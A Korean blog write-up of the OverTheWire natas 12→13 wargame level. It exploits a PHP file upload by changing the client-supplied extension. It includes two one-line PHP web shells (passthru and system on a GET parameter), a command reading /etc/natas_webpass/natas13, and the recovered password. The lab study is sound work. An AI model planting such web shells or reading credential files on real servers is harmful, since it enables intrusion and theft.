JPEG 파일을 업로드하라고 한다. max size도 지정이 되어있다.
아무 txt파일이나 올려봤는데 jpg파일로 올라갔다고 한다.
소스코드부터 보자.
...
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
getRandomString 함수로 숫자와 알파벳 사이에서 랜덤으로 문자를 뽑아 10자로 string을 만든다.
makeRandomPath 함수는 파일이 존재하는지 확인하고 랜덤스트링에 path를 만들어준다.
파일 사이즈는 1000으로 제한되어있고, 랜덤스트링으로 10자.jpg로 업로드하는 것을 볼 수가 있다.
비밀번호가 있는 위치를 보여주는 php파일을 만들어서 업로드했다.
php파일로 올라가도록 파라미터를 좀 조작했다.
해당 링크를 들어가니 바로 비밀번호가 나왔다.
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
웹쉘 공격은 처음이라 다른 방법도 좀 찾아보았다.
우선 php파일을 넘기는 건 똑같은데, 그 내용이 공격하는 거에 따라 조금씩 다르다.
<html>
<?php
$data = "";
$data = $_GET['data'];
passthru("$data");
?>
</html>
https://leekeezz.tistory.com/76
해당 링크에서 가져온 php코드이다. Get방식으로 명령어를 받아 passthru 함수를 통해 결과를 출력받는다.
업로드했을 때 php문법오류가 나길래 실패한건가 했는데 명령어를 입력하니 비밀번호는 잘 나왔다.
data=cat /etc/natas_webpass/natas13
그리고 개발자 도구에서도 php파일로 바꿔서 올릴 수가 있었다. 더 간편한 것 같다.
<?php SYSTEM($_GET['cmd']) ?>
해당 코드는 아래의 링크에서 가져왔다.
https://moaimoai.tistory.com/286
같은 방법으로 업로드를 해준다.
마찬가지로 ?뒤에 cmd=ls를 해줬고 버프슈트에서 해당부분에
이렇게 인자를 전달해주니 비밀번호가 잘 나왔다.
'Over the Wire > natas' 카테고리의 다른 글
[OvertheWire : natas] level 13 → 14 (0) | 2021.05.29 |
---|---|
[OvertheWire:natas] level 12 → 13 (0) | 2021.05.23 |
[OvertheWire:natas] natas 10 → 11 (0) | 2021.05.18 |
[OvertheWire:natas] level 9 → 10 (0) | 2021.05.16 |
[natas] level 8 → 9 (0) | 2021.05.09 |